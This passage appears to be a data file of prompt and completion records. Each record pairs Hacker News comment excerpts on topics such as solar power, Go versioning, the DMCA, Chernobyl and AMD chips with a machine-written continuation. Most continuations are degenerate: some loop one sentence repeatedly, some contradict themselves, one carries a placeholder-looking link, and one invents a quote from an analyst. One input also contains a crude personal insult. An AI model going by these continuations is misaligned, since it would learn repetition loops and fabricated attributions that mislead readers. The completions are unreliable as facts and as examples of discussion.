fraudulent concern meant to enable more printing.\n\nOne of the many psychological toys the Fed & Co. use, just like they regularly\nthreaten to raise interest rates (for years at this point) to buy more time on\nholding down the bubbles they've created without having to actually do\nanything.\n\nThe reason so many people are afraid of deflation, is they're from the\nKeynesian school of economics. They've been brainwashed for two generations to\nthink inflation is how you grow an economy. No coincidence, the Keynesian\nexperiment has been a global disaster of epic proportions, leading to the\ngreatest accumulation of debt in world history; and locally, a 40 year\nstagnation in the American standard of living, perpetually high real\nunemployment, increased poverty, and increased inequality (because the rich\ncan shield themselves from inflation"} +{"output_text": " it will be before we start to see a shift to more\nconventional sources of energy.\n\n~~~\nmikeash\nI don't think it's a question of supply chain limits. It's a question of\neconomics.\n\nThe cost of solar panels has been dropping at a rate that's faster than the\nrate of increase in the cost of energy. That means that the cost of solar\nenergy is dropping faster than the cost of energy from other sources.\n\n", "input_text": "\nbetween wafers thinner you reduce the amount of waste material and increase\nthe number of wafers produced.\n\n~~~\npfdietz\nI recall recently reading a paper from back when the price of polysilicon was\nat its peak, which it discussed. Since then, adjust for inflation, its price\nhas declined by a factor of 70.\n\n------\nrossdavidh\nI am really glad this is happening. I think that the Moore's Law-like decline\nin costs of wind and solar are going to far more to combat climate change than\nevery international treaty ever attempted, and that's great because climate\nchange is a serious problem and it must be addressed.\n\nHowever...\n\nI think we have been trying to figure out how to get the world's economy to\nshift off of fossil fuels for so long, we haven't given a lot of thought to\nwhat happens as we do, which appears to be in the process of happening. Right\nnow it's coal that's circling the drain. The other fossil fuels will come a\nfew years after.\n\nImagine every nation in the world that depends on oil revenue right now, going\nthe way of Venezuela.\n\nWe are not ready.\n\n------\nJedd\nWhy do we still have such poor quality reporting on renewables:\n\n> And then there\u2019s the issue of round-the-clock power. Solar doesn\u2019t work at\n> night.\n\nPVC doesn't work at night, but CSP most definitely does.\n\n(By _working_, I mean a solar thermal plant is providing power well after\nsunset.)\n\n------\njamil7\nTheres a Dutch study indicating that we're rapidly approaching supply chain\nlimits for the rare metals required for renewable energy, both solar and wind.\nI wonder how long"} +{"output_text": " \"at-tarrat\" (as in \"at-tarrat-tarrat\" or \"at-\ntarrat-tarrat-tarrat\").\n\n~~~\nmadeofpalk\nAh, that makes sense. Thanks!\n\n------\njypepin\nI'm from the Netherlands and I've always pronounced it \"at-tarrat\".\n\n~~~\njypepin\nI'm from the Netherlands and I've always pronounced it", "input_text": "\", or \"Doggy.\" (Correct me if I'm\nwrong.)\n\n~~~\njypepin\nArrobase in french. Don't think it means anything.\n\n~~~\nekianjo\nHere you go:\n\n> Le nom arobase, forme la plus fr\u00e9quente, est une d\u00e9formation r\u00e9cente du\n> castillan arroba(s), qui d\u00e9signe une unit\u00e9 de mesure de poids et de capacit\u00e9\n> (dite en fran\u00e7ais arrobe), en usage en Espagne et au Portugal8, de grandeur\n> variable selon les r\u00e9gions et selon les liquides (huile ou vin). Ce terme,\n> attest\u00e9 en Espagne depuis 1088, vient lui-m\u00eame de l'arabe \u0627\u0644\u0631\u0628\u0639 (ar-rub\u02bf), \u00ab\n> le quart \u00bb, pour un quart de l'ancien quintal de 100 livres, soit 12 kg\n> environ. Depuis le xvie si\u00e8cle, en effet, le mot arroba \u2014 parmi d'autres \u2014\n> s'est constamment \u00e9crit au moyen de l'abr\u00e9viation \"@\"9.\n\n[https://fr.wikipedia.org/wiki/Arrobase](https://fr.wikipedia.org/wiki/Arrobase)\n\n------\nmadeofpalk\nWhen I worked in retail, I noticed Indian people would pronounce it something\nlike 'attarrat', with a hard R in the middle.\n\nIt took me a while to catch on to what was ment by that, but i never really\npushed it much further to get the 'proper' pronounciation.\n\n~~~\ntimlimfimbim\nI believe they were saying"} +{"output_text": "\n\nI'd rather be uncomfortable in the hospital for a week in my 40s if that means\nI get to live another 40 or 50 years. I think a lot of other people would also\nfeel the same.\n\n~~~\nnoxToken\nI'm not sure I understand what you mean by \"I'd still choose it.\" I'm not\nsaying I disagree with you, I'm just not sure I understand what you're saying.\n\n~~~\nnnq\nI", "input_text": " and increasing cost\n(again 1%)! Almost all patients would prefer it.\n\nBut it's hard to convince people that often in life _paying slightly more_ for\n_a statistically slightly worse outcome_ increases you comfort ~10x and is\n1000% worth it! After all, _we live to feel good, and living is only worth it\nas long as we feel good doing it!_\n\n...but no, we just have to insist that we want _the absolutely best things_\n(as customers) and that we need to be _as efficient as possible_ (as service\nproviders). This combination of constraints makes life a living hell that I'm\nnot sure why we can still stand. Also there's those maniacs that absolutely\n_hate_ being or making others _COMFORTABLE,_ but making life worse for them\nwould be sooo enjoyable.\n\n~~~\nnoxToken\nI don't want to create a false dichotomy, but it looks like you're saying you\ncan have either one of two things: increased comfort with a higher chance of\ndeath and cost or a maintain to the low level of comfort with a higher chance\nof successful recovery. You go on to say:\n\n> _After all, we live to feel good, and living is only worth it as long as we\n> feel good doing it!_\n\nI think I get what you're going for, but I'd rather be uncomfortable in the\nhospital for a week in my 40s if that means I get to live another 40 or 50\nyears. I think a lot of other people would also feel the same.\n\n~~~\nnnq\nThe dichotomy _is real,_ I know a thing or two of how hospitals work and what\nprioritizing comfort would actually mean. But I'd still choose it."} +{"output_text": "\nthe API.\n\n~~~\n4ad\nI don't think you understand what I'm saying.\n\nSemVer is a rule of thumb, not a rule of law.\n\nIf you have a bug in your library, you fix it. If you have a bug in your\nlibrary, you fix it. If you have a bug in your library, you fix it. If you\nhave a bug in your library, you fix it.\n\nIf you have a", "input_text": " talked about? I can probably\nsense the sneers from some, but I'd imagine there could be an evolution/\"go\nway\" to implement it.\n\n~~~\n4ad\nThis is about software (source code) versioning. Shared library symbol\nversioning is a completely orthogonal concept.\n\n------\n__david__\nI feel like the article made its case pretty well, but I really dislike idea\nthat I need to duplicate my library into a \"v2/\" directory (or a different top\nlevel git repo) in practice. Maybe I'm misunderstanding something, but this\nseems to be exactly what branches are for. If I'm not able to specify a branch\nname in the package \"path\" then there's something really wrong.\n\n~~~\nmatt_m\nIt wasn't obvious to me either, but apparently vgo translates that into the\nappropriate git tag, it's not actually a separate directory.\n\n~~~\n4ad\nYeah, it's just the import path that it's changed, but it's still ugly as sin\nand makes the mapping between import paths and filesystem paths non-trivial.\n\n------\nk__\nWhile I still think SemVer is crap (because of the edge cases) this seems to\nbe a reasonable approach to library versioning.\n\n~~~\n4ad\nMind to expand about SemVer?\n\n~~~\nk__\nIt says only majors should break the API, but bugs do it all the time. So that\nrule is just wrong and gives a false feel of safety.\n\n~~~\n4ad\nAnd the alternative is?\n\n~~~\nk__\nSimply treat every new version as a major release, everything else is a lie.\n\nSure, you can structure it by \"intent\" but don't pretend a bugfix can't break"} +{"output_text": "bert.com.\n\nThe script is:\n\n \n \n #!/bin/sh\n #\n # This script retrieves the list of great movies from rogerebert.com\n # and saves them to a file.\n #\n # Usage:\n # ./great_movies.sh\n #\n # The script will output the list of great movies to stdout.\n #\n # The script will", "input_text": " are all great stories but \"Woman in the Dunes\" might give\nyou something new to think about where as the others are mostly just great\nentertainment.\n\n~~~\npatrec\nIn addition to \u201cWoman in the Dunes\u201d, I'd also nominate \u201cThe Gospel According\nto Saint Matthew\u201d. And, in fact, \u201cIt's a Wonderful Life\u201d for those who haven't\nseen it (it's a much more grown up and dark film than you may have been led to\nbelieve).\n\n------\nsfaruque\nThere used to be a site call ClerkDogs.com that probably had the best movie\nrecommendation system I've used. You started off naming a few movies you\nliked, and it would provide a list of movies you'd also probably like, and it\nwas very accurate.\n\nFrom what I remember, the database was cataloged and maintained by actual\nhumans, and not some algorithm following behavior patterns.\n\n~~~\nfastball\nYep, jinni.com did the exact same thing, and I loved it. Unfortunately, it\nseems like B2C just didn't work financially so they switched to an entirely\nB2B model to help providers with their recommendation engines and no longer\nhave their data accessible to end-users.\n\n~~~\ncpach\nIt\u2019s a shame that the economics of recommendation engines doesn\u2019t seem to work\nvery well in the B2C space. Good rec. engines can be very useful.\n\n------\nx3blah\nInstead of using Python, here is a solution that only requires sh, curl, sed,\nsort, uniq and grep.\n\nThis solution uses a generous 87s delay to retrieve the Amazon pages. There\nare 328 films listed as \"great movies\" on rogere"} +{"output_text": "\n\n\u201cChina is now moving away from the feed-in tariff model,\u201d said David\nFraas, a senior analyst at the Institute for Energy Economics and Financial\nAnalysis. \u201cThey\u2019re moving toward a more market-based approach.\u201d\n\nChina\u2019s shift toward a more market-driven approach is a big reason why\nrenewables are growing so fast in the U.S.\n\nChina\u2019s shift toward a more market-driven approach is a big reason why\n", "input_text": "urping coal and gas. Wind and solar still only accounted for about 7% of\nelectricity generation worldwide last year, according to BNEF. And most wind\nand solar projects still depend on subsides. In the U.S., in fact, the solar\nindustry is pushing to extend federal tax credits that are scheduled to\ndecline over the next few years.\n\nAnd then there\u2019s the issue of round-the-clock power. Solar doesn\u2019t work at\nnight. Wind farms go idle when breezes slack. So until battery systems are\ncheap enough for generators to stockpile electricity for hours at a time,\nrenewables can\u2019t constantly provide power like coal and gas.\n\nSolar module prices have plunged this decade\n\nPerhaps nowhere is the push toward subsidy-free clean energy clearer than on\narid expanses of Southern Europe. About 750 megawatts of subsidy-free clean-\nenergy projects are expected to connect to the grid in 2019 alone, across\nSpain, Italy, Portugal and elsewhere -- enough to power about 333,000\nhouseholds, according to Pietro Radoia, an analyst at BNEF.\n\n\u201cThe cheapest way of producing electricity in Spain is the sun,\u201d Jose\nDominguez Abascal, the nation\u2019s secretary of state for energy, said last year.\n\nThe road to subsidy-free renewables wasn\u2019t easy for Spain. A decade ago, it\noffered developers a lavish feed-in tariff, prompting an uncontrolled boom\nthat strained the national treasury. Spain slashed incentives and now has a\nhands-off energy policy.\n\nChina, the world\u2019s largest renewable energy market, also propped up wind and\nsolar for years. Now it\u2019s shifting toward a more market-driven approach."} +{"output_text": ".\n\n~~~\nmattmanser\nI think it's because they're not really productive.\n\nThey're just a way of making money.\n\nThey're not really productive, they're just a way of making money.\n\n~~~\nmrottenkolber\nI don't think that's true. I think they are productive, but not in the way\nyou're thinking.\n\n~~~\nmattmanser\nI think you're right.\n", "input_text": " (2014) - bholdr\nhttp://www.kalzumeus.com/2014/11/07/doing-business-in-japan/\n======\npartycoder\nI had a chat with a Japanese coworker some time ago.\n\nSome of the Japanese addiction for work was to distract themselves from the\ndestructive effects of WW2.\n\nBy working, they thought they would gradually turn their homeland into a\nbetter place and become a better society.\n\nNow we can see some of the side effects of the excess work, like a reduced\nbirth rate, increased suicide rate, growing debt, death from overwork\n(karoshi), people doing secret nap meetings or sleeping in their desks\n(inemuri), etc.\n\n~~~\nHavoc\n>people doing secret nap meetings\n\nHaha that's one way to solve the problem\n\n------\nglandium\nPrevious discussion with 300+ comments:\n[https://news.ycombinator.com/item?id=8573992](https://news.ycombinator.com/item?id=8573992)\n\n------\nmrottenkolber\n> The Japanese economy is roughly 1/3rd the public sector, 1/3rd low-\n> productivity firms like restaurants or traditional craftsmen, and 1/3rd\n> high-productivity household-name megacorps.\n\nWhy are restaurants and traditional craftsmen considered \u201clow-productivity?\u201d\nThat really strikes me as odd, I have the opposite connotation. I.e. the\nformer being only sustainable as long as they serve a direct demand, while the\nlatter spends most of the time for leviathan\u2019s sake, and is more focused on\ngenerating demand (advertising budgets) than solving problems"} +{"output_text": "/11af76e766308c46b11b6203c9e9f9e6)\n\n------\nadamthewan\nHey, Adam here (OP).\n\nWe're using Jitsi (which is open source) but are also testing out various\nthird party providers such as Daily.co and Agora.io\n\nWe want to focus on improving the meeting flow experience and interactions,\nwhich is why we leverage open source or third party providers", "input_text": "\nadamthewan\nHey, Adam here from MeetButter (OP).\n\nThanks!\n\nThe product team is pretty small. We have a UI UX product designer, myself\n(mid-level full stack developer), and a jr front end developer.\n\n~~~\nrealtalk_sp\nVery cool. Good luck with the project!\n\n------\nab_testing\nSurprisingly the author writes about the prototype of the app and the\nwireframes but does not mention the tech behind the actual video conferencing\nsolution. Are they using an existing open source solution and packaging it\ninto a website.\n\n~~~\nadamthewan\nHey, Adam from MeetButter here (OP).\n\nWe're using Jitsi (which is open source) but are also testing out various\nthird party providers such as Daily.co and Agora.io\n\nWe want to focus on improving the meeting flow experience and interactions,\nwhich is why we leverage open source or third party providers for the video\nconferencing tech.\n\n------\ndeltron3030\nNot solving your own problem first but someone else's seems to be the major\nsource of complexity.\n\n~~~\nadamthewan\nI agree. We always overthink things we don't fully understand.\n\n------\nmwnivek\nMeetButter looks interesting!\n\nAre those chat bubbles based on any open-source CSS / inspired by others?\n\n~~~\nadamthewan\nHey dude, Adam here (OP).\n\nIt was built using CSS!\n\nI made a GitHub Gist of it, just for you:\n[https://gist.github.com/adamthewan/11af76e766308c46b11b6203c...](https://gist.github.com/adamthewan"} +{"output_text": " that they can be easily lost.\n\n~~~\nidunno246\nI guess I'm just a little paranoid.\n\n------\njoshu\nI'm not sure if this is a good thing or not.\n\n~~~\nanigbrowl\nIt's a good thing if you're a drug dealer.\n\n------\njoshu\nI'm not sure if this is a good thing or not.\n\n~~~\nanigbrowl\nIt's a", "input_text": ":\n[http://viewtext.org/article?url=http%3A%2F%2Fnymag.com%2Fnew...](http://viewtext.org/article?url=http%3A%2F%2Fnymag.com%2Fnews%2Ffeatures%2Ftide-\ndetergent-drugs-2013-1%2F)\n\nI really like viewtext. To whoever made it, thanks!\n\n~~~\naaronbrethorst\nRonnie Roller (), who is also the creator of\n\n\n------\nbane\nReminds me of a story I can't seem to google where a D.C. council woman was\nkilled and robbed for her credit cards, which were used to rent a tanker truck\nand to buy thousands of gallons of gasoline, which (the plan was) was to be\nsold for cash back to another gas station (at a discount) in order to buy\ndrugs.\n\n------\nGregBuchholz\nBravo. Better than _The Suit is Back_ by a country mile. \"If You're Watching,\nIt's For You\"\n([http://thelastpsychiatrist.com/2008/08/if_youre_watching_its...](http://thelastpsychiatrist.com/2008/08/if_youre_watching_its_for_you.html)).\n\n------\nidunno246\nI guess this is why safeway locks up the most ridiculous things. Like\ntoothbrushes!\n\n~~~\nanigbrowl\nThings like toothbrushes are locked up because they are relatively expensive\nbut so small"} +{"output_text": " be able to download their apps again.\n\n~~~\nmattnewton\nI think you\u2019re underestimating the power of the App Store. It\u2019s not just\nApple\u2019s App Store, it\u2019s the App Store.\n\n~~~\ndustinmoris\nI'm not underestimating the power of the App Store, I'm just saying that\nApple's App Store is not the only App Store.\n\n~~~\nmattnewton\nI", "input_text": " of service on both platforms, so\nFortnite was removed from both the App Store and the Play Store. Epic already\nknew this would happen, which is why they prepared their PR and legal teams\naccordingly.\n\n------\nz3t4\nOne reason for the duopoly is that it cost more to have your app on more\nplatforms. Its a disaster that for example government apps like id only works\non the latest ios or android. There are also Sailfish, FirefoxOS, bunch of\nfeature phone OS, and likely a lot I dont know of. The duopoly is self\ninflicted by the software industry.\n\n------\nAissen\nIt seems Google is still using the same tactics it used to kill Skyhook (Maps\ncompetitor on wifi location), and probably most GApps competitors: they\nblocked Oneplus from bundling the Epic launcher with system permissions\n(allows updates in background, like the Play Store):\n\n[https://www.androidpolice.com/2020/08/13/google-\nreportedly-b...](https://www.androidpolice.com/2020/08/13/google-reportedly-\nblocked-oneplus-from-pre-installing-the-epic-games-app-on-its-phones/)\n\n------\ndustinmoris\nIt's important to remember that Apple and Google only have a Duopoly, because\nnobody else seems to be able to develop anything that is remotely appealing to\ncustomers. Microsoft tried with their own mobile operating system many years\nago and they failed at every attempt.\n\nIf Apple was told to open its App Store they could literally just shut down\ntheir App Store instead the next day and in a few days or weeks consumers all\naround the world would"} +{"output_text": " he tries to get the attention of the audience.\n\nI'm not saying that Google is evil, but I am saying that they are a\ndickhead.\n\n~~~\njodrellblank\n_I'm not saying that Google is evil, but I am saying that they are a\ndickhead._\n\nI'm not sure if you're being sarcastic, but I think you're right.\n\n------\njodrellblank\nI'm not sure if", "input_text": ". I find this possibility to be as valid as some of the ones\nyou list. It could happen, sure, but Google ultimately cannot risk alienating\ntheir customers so they wouldn't do it. Even at Microsoft's peak the doomsday\nscenarios never came to fruition for the same reason. The first time Google\ndoes anything unsavory with the data they collect is the moment when they open\nthe flood gates for their competitors to rush in.\n\nI do think there's some value in keeping information offline and people should\nconsider that as a valid alternative. You don't really need to account for\nevery second of your life in Google Calendar. You don't need to upload every\nsingle photograph you've ever taken. You don't need to geotag the photos you\ndo choose to upload. You may not want to use Google Docs to store your bank\naccount information. Part of this whole situation is consumers protecting\nthemselves.\n\n------\nrjurney\nThe problem here is that in combination with Wave, Google is setting the\nplatform that we are supposed to develop for a year or more before it exists.\nThat IRRITATES the hell out of me. It is the same kind of egotistical\ndouschebaggery Microsoft used to pull: pre-launching products to gain control\nbefore contributing anything.\n\nWatching the Wave introduction video... when I see that semi-euro, T-shirt\nwearing trim-bearded fuck up there on that stage with his falsely elegant\npeppy smart talk planning a 'boating trip', and the scripted passing back and\nforth with 'the best project manager in the world,' I see one thing and one\nthing only in my mind: Ballmer's sweaty bitch tits bouncing up and down, round\nand round, as"} +{"output_text": " quaternions,\netc.).\n\n[1] I'm not sure if this is a typo or not, but the book says that the\neigenvalues are \"previewed\" in the section on matrices over fields.\n\n~~~\nj2kun\nI'm not sure if you're being sarcastic, but I think you're right about the\neigenvalues. I think the book is trying to be a bit more accessible than\nabstract algebra, but it's", "input_text": " is often an example here). On top of this, there is also the\nmultiple notation problem (admittedly, not as bad as calculus, where there are\ntoo many notations for derivative) and the minor issue that many of the\nalgorithms taught in the book aren't used in practice because of numerical\nstability issues.\n\nIt has been so long since I've taken linear algebra, and I've taken abstract\nalgebra courses since then, that I can't really compare this book to the\napproach that I learned. Skimming the book, the thing that jumps out the most\nto me is that LU factorization and determinants are shoved surprisingly late\nin the book [1], and eigenvalues are \"previewed\" quite early. I'm not sure\nthat's a good approach: LU factorization is important because backsolving the\nL and U matrices is more numerically stable (and sparser, when you're dealing\nwith sparse matrices) than the inverse matrix, and it works even if your\nmatrix isn't square. Furthermore, determinants tie in better to row\noperations, and their weird application with Cramer's rule is another way to\nsolve a set of linear equations: you don't want to introduce Cramer's rule\nmonths after you finished treating matrices as stepping stones to solving\nlinear equations.\n\nThe book does cover vector spaces, although in a bit of a dance around not\ncovering abstract algebra. I'm not sure it's an effective introduction of\nvector spaces, although it could well suffice to ease the pedagogical trap\nmentioned earlier. On the other hand, if it's going to dive that far into\nvector spaces, it would probably be helpful to have some more sections on\nmatrices over fields that aren't real numbers (i.e., complex numbers (make\nsure to mention conjugate transpose and Hermitian matrices!),"} +{"output_text": " sharing the locations of potholes with the\ncommunity.\n\n~~~\njessaustin\nI'm not sure that's a good idea. I'm not sure that the people who would do\nthat would be willing to pay for it.\n\n~~~\nbeenBoutIT\nI'm not sure that's a good idea either. But I'm sure that the people who would\ndo that would be willing to pay for it.\n\n------\njessaustin\n", "input_text": " politicians\nshoveling money to labor unions and a few firms\".\n\nEverywhere you look there are excludable roads. Everywhere you see traffic\ncongestion, you see rivalry.\n\nRoads are not public goods, even if you feel like governments ought to own\nthem.\n\n------\nbobthepanda\nHorrifying that the state of public works in America has come to this.\n\n~~~\nfein\nYour comment is proof that Domino's marketing team is pretty good.\n\nHell, even the existence of this post on HN is basically some confirmation\nthat hail corporate bullshit slips past this crowd.\n\nDon't buy the PR wank folks, this is just an ad masquerading as some noble\neffort.\n\n~~~\npavel_lishin\nWhat are you on about? The person you're responding to isn't running out to\nget a Domino's tattoo; they're pointing out that there are places in America\nthat are cash-strapped enough that they're willing to accept corporate\nsponsorship to provide basic government services.\n\n~~~\nribs\nThe roads were shitty when I was a kid and they\u2019re shitty now. No big apparent\nchange to me.\n\n~~~\nuntog\nAnecdotes are not data\n\n------\nbeenBoutIT\nAs much as I like what Domino's is doing here, it irks me that they didn't\nflush the idea all-the-way out. Domino's could have easily made an app that\nwould allow users to manually fill-in potholes in exchange for piping-hot\nDomino's Pizza and sides. Imagine chronically unemployed individuals from all\nwalks of life diligently scouring the streets looking for potholes.\nDocumenting, geotagging and"} +{"output_text": " one can be punished\nfor circumventing DRM, but on the other hand it also states that no one can be\npunished for circumventing DRM.\n\nI think the EFF will argue that the DMCA is unconstitutional because it\nviolates the first amendment.\n\n~~~\nmadaxe_again\nI think the EFF will argue that the DMCA is unconstitutional because it\nviolates the first amendment.\n\nI think the EFF will argue that the DMCA", "input_text": " I need streaming for work basically and\nonline radio is better. For example I like RadioParadise.com, they are ads\nfree.\n\nBitching about DRM to let other people know about its problems is cool, but\neven cooler is voting with your wallet.\n\n~~~\nabawany\nI agree. I signed up for an Audible trial not realizing the extent of their\nappalling trash-fire DRM. In summary, you have to run their app on a device\nthey support to be able to listen to their content. Shocking since my local\nlibrary lets me check out audio books with fewer restrictions. Needless to say\nthat in spite of their very-nice electronic pleadings, I canceled the trial\npromptly.\n\n------\nmadaxe_again\nIt appears the EFF intend to fight section 1201 (thou shalt not circumvent) on\nfirst amendment free speech arguments, and on the idea that punishment for\ncircumvention creates a chilling effect.\n\nI don't think a court will buy it. They'll argue that 1201 protects the free\nspeech of content creators, and that it works as intended - and they will cite\nthe decss appeal, which was won by the media giants on the same argument.\n[https://www.2600.com/news/112801-files/universal.html](https://www.2600.com/news/112801-files/universal.html)\n\n~~~\nriskable\nI think part of the argument the EFF will make is that section 1201 is\ninherently in conflict with itself in regards to fair use (an argument which\nwas explicitly _not_ ruled upon in the DeCSS court case) and free speech (to a\nlesser extent). On the one hand the DMCA states that no"} +{"output_text": "\nfact that the USSR was a totalitarian state).\n\n~~~\njlgreco\nI was born in Kharkiv just over a month before the Chernobyl accident. Never\nbeen to Pripyat, but have seen lots of photos and since I grew up in Ukraine I\ncan place it in context. The real tragedy of Chernobyl was not even the\naccident itself (which was a result of stupidity and zeal IMO), but the\nmultiple attempts", "input_text": "VFQU)\n\n~~~\nghshephard\nI'll admit when she started digging in (with her bare hands) getting excited\nabout 3 milliseverts/hour I had to jump over to\n[http://xkcd.com/radiation/](http://xkcd.com/radiation/) to find out how\nworrisome it was.\n\nI was also a little concerned that she had a runny nose, and kept rubbing her\nnose with that hand...\n\nBut apparently, 2 milliseverts (her exposure in an hour) is about what you\nwould get from a CT scan. US Radiation Workers are allowed up to 50\nmilliseverts.\n\nThough, at the end, when she has it fully uncovered, and is measuring 17\nmilliseverts/hour, and expositing on how beautiful it is...\n\n------\nIgorPartola\nI was born in Kharkiv just over a month before the Chernobyl accident. Never\nbeen to Pripyat, but have seen lots of photos and since I grew up in Ukraine I\ncan place it in context. The real tragedy of Chernobyl was not even the\naccident itself (which was a result of stupidity and zeal IMO), but the\nmultiple attempts at ass covering by those in charge. You see, those in charge\ndid not want to start a panic or look bad. They sent in firefighters without\ntelling them what they were going into. They did not evacuate affected areas\nquickly enough. They did not alert neighboring regions of the fallout that was\ncoming their way. Innocent people died because they were unable to admit their\nwrongdoing. This is definitely the USSR way of doing things and the reason it\ncould never survive: it kept sacrificing people for ideals (well that and the"} +{"output_text": " CPUs.\n\n~~~\nksec\nI am not sure if you are talking about the CPU or GPU.\n\nThe CPU is already more efficient than the GPU.\n\nThe GPU is more efficient than the CPU.\n\nThe CPU is more efficient than the GPU.\n\nThe GPU is more efficient than the CPU.\n\nThe CPU is more efficient than the GPU.\n\nThe GPU is more efficient than the CPU.\n\nThe CPU is more efficient than the", "input_text": " graphics inside. So we\nare gonna to expect some more powerful G line APUs in the future too I\nguess...\n\n~~~\nmagicalhippo\nYeah hoping to see something like that soon, will be pretty awesome I think.\n\n------\ndarksaints\nAnybody know of any companies planning to ship these in a NUC-style form\nfactor?\n\n~~~\nalimbada\nASRock did the DeskMini A300 last year which was quite popular. I'm hoping\nthey will refresh it with an updated motherboard for the new APUs coming this\nyear.\n\n~~~\nllampx\nIt was the only one I believe. I'm still on the lookout for a good MiniPC\nsolution that doesn't have compromises like a soldered CPU or requiring\nSODIMMs etc.\n\n------\nest\nI'm looking forward to build a mini HTPC with this. Hope it can handle 8K HDR\nencode/decode well.\n\n------\nrurban\nI got the previous 3000 Ryzen edition on my new cheap Lenovo, and it kills all\nmy big Intel machines in all benchmarks. It cannot use it for benchmarking, as\nit drops frequencies from 4.3 to 1.5 as it likes (or does temp. freezes) but\nfor testing and dev the AMD works wonders.\n\n------\njwildeboer\nSince when are CPUs called APU?\n\n~~~\nbob1029\nAPU = CPU + GPU in a single package or die.\n\n------\nOut_of_Characte\nThese APU's wont fix todays problems in Laptops. Idle power consumption is\nlargely due to all components together. bigger batteries are only more\nexpensive. I'm still waiting for more efficient"} +{"output_text": "~~~\nccernaf\nI'm not dismissing him as an anti-SJW. I'm dismissing him as a person who\ndoesn't understand the difference between a \"war on boys\" and a \"war on\ngirls\".\n\n~~~\nbmelton\nI'm not dismissing him as an anti-SJW, either. I'm dismissing him as a person\nwho doesn't understand the difference between a \"war on boys\" and a \"war on\ngirl", "input_text": "kius\nI find the underlying premise of this article and the claim that there is a\n\"war on boys\" absurd. It's a old argument from the same old set of people who\nhave the same old intolerant (and dying) paradigm.\n\nNot sure why it is on HN at all as the content has nothing to do with tech...\n\n~~~\nccernaf\nI'm pretty disappointed in the article and the comments, and how like Reddit\nthis website is turning out to be. I'm not going to make any judgements\n(though I really really am), but this same article has been posted to 10\nsubreddits, among them such gems as: SJWsAtWork, ThisIsNotASafeSpace, sjsucks,\nand sjwhate.\n\n~~~\nbmelton\nNot affiliated (except that I follow him on Twitter), but the author, Jonathan\nHaidt, is one of America's pre-eminent social psychologists. He is (or at\nleast was) a liberal who has engaged in some very serious social psychology\nthat gives massive insight into how people tick, especially where those ticks\nare related to or concerning political party affiliations.\n\nIf the idea is to dismiss him as an anti-SJW, or anti-free speech, then I\nwould posit that you're simply inclined to dismiss no matter what. If the\ncomplaint is that his work is spreading to, or being adopted by the anti-SJW\ncrowd, that's hardly his fault.\n\nHe may not be right, or he may not have done appropriate research, or he may\nbe based (his own studies would suggest that it's inevitable that he is), but\nany dismissal predicated in part on that he's trolling is almost certainly\nknee-jerk.\n\n"} +{"output_text": "\nhave to use them.\n\n(1)\n[https://www.youtube.com/watch?v=Z_0_0_0_0Y](https://www.youtube.com/watch?v=Z_0_0_0_0Y)\n\n~~~\njoshuamorton\nThanks for the link. I'll check it out.\n\n------\njoshuamorton\nI'm not sure if this is the right place", "input_text": " test core user interactions\n(e.g. user can create foo) with e2e tests, and edge-cases with unit tests.\nThese tests will be clicking around and sending keys to inputs and eventually\nreach some state that confirms that the action was successful. Among all the\nstates that were traversed, how many things will you validate (e.g. check that\nthe link the user clicks is in a list, check that in the final state he can\nview all of foo's information)? And how in depth? (e.g. checking that #foo\ncontains all of foo's information, or checking that #foo contains.bar,.baz,\n.qux, and that each contains part of foo's information)\n\nI've figured out some patterns and guidelines over time, but some of these\ntests tend to feel brittle or useless.\n\n~~~\nzachrose\nForgive me for being vague and brief, but I've been trying to test my UIs for\nthe last year or so and this is what I've come up with.\n\nI've found the ideas in Gary Bernhardt's talk, Boundaries (1), to be very\nhelpful in figuring out how to test interactive web UIs. The basic idea is\nthat DOM manipulation can be an \"imperative shell\" with as little logic and as\nfew conditionals as possible. Derive the state of your UI component with\nseparate functions and methods that return plain values (a \"functional core\"),\nand write tests for those because testing for values is easy.\n\nSo no, don't test for the presence of classes and IDs. Test your imperative\nshell once, maybe even manually or with an integration test, and that's\nprobably enough.\n\nAngular and React both encourage something like this approach, but you don't"} +{"output_text": " people with\nmobility issues. I live in Hamburg and I can't imagine how difficult it would\nbe to get around without a car.\n\n~~~\njraedisch\nI think the problem is that the city is not really aware of the needs of\ndisabled people. There are some initiatives, but they are not really\nsufficient.\n\n------\njraedisch\nI'm not sure if this is the right place to ask this question, but I'm curious\n", "input_text": ", it does not plan to ban all cars.\n\nSee their official statement (in German): [http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bs...](http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bsu-keine-autofreie-stadt/)\n\n~~~\njraedisch\nAs a resident of Hamburg I can assure you it will not become a car-free city\nwithin the next 20 years. So far, we don't even have an \"Umweltzone\" (green or\nenvironmental friendly zone) where only cars maintaining certain filtering and\nmileage standards are allowed to drive.\n\n------\npanic\n_The goal of Hamburg\u2019s project is to replace roads with a \u201cgruenes netz\u201d or a\ngreen network of interconnected open areas covering 40% of the city. According\nto the official website, parks, playgrounds, sports fields, allotments and\ncemeteries will be connected to form a network, which will allow people to\nnavigate through the city without the use of cars._\n\nWhy not just let people walk on the roads? Places like cemeteries and parks\ncan be quite creepy to walk through, especially at night. Roads next to\nbuildings with people in them are a more comfortable place to walk.\n\n~~~\nbalabaster\nIs that just because that isn't the norm? If it was quite normal to walk\nthrough a cemetery or park at night, would it still be as creepy or is it just\nbecause of the proliferation of ghost and paranormal stories...?\n\n------\ntdyen\nIm surprised so few of the comments deal with disabled people or"} +{"output_text": " fuels.\n\n~~~\nmikeash\nI'm not saying that the cost of storage is the problem. I'm saying that the\ncost of storage is a problem.\n\nThe cost of storage is a problem because it's a problem that needs to be\nsolved. It's not a problem that needs to be solved because it's a problem.\n\n~~~\ngridlockd\n> _The cost of storage is a problem because it 's a problem that needs to", "input_text": " you\nand me are expecting to make fortunes on this. That says more than any numbers\nI could throw at you.\n\n~~~\ngridlockd\n> Without going back and digging for sources (google it yourself), existing\n> nuclear costs about $100/Mwh. Coal is around there, too (this is round\n> number, different sources have slight variations). Onshore wind and natural\n> gas are currently pushing $40, and PV solar is under $60 and dropping\n> rapidly.\n\nSo what? This is an apples-to-oranges comparison. Coal, nuclear, natural gas\nare all delivering stable supply 24/7\\. PV and Wind are highly volatile both\nintraday and seasonally. Why don't you add in the cost of storage?\n\n> We have a couple of decades of data on wind consistency and variation,\n> scaling from minutes to years - enough data to do very reliable projections\n> on storage needs. Solar has a consistent schedule, which also helps\n> projection, and of course we know loads. So computing just how much storage\n> is needed is a straightforward exercise.\n\nComputing the cost is not the problem. Paying the cost is the 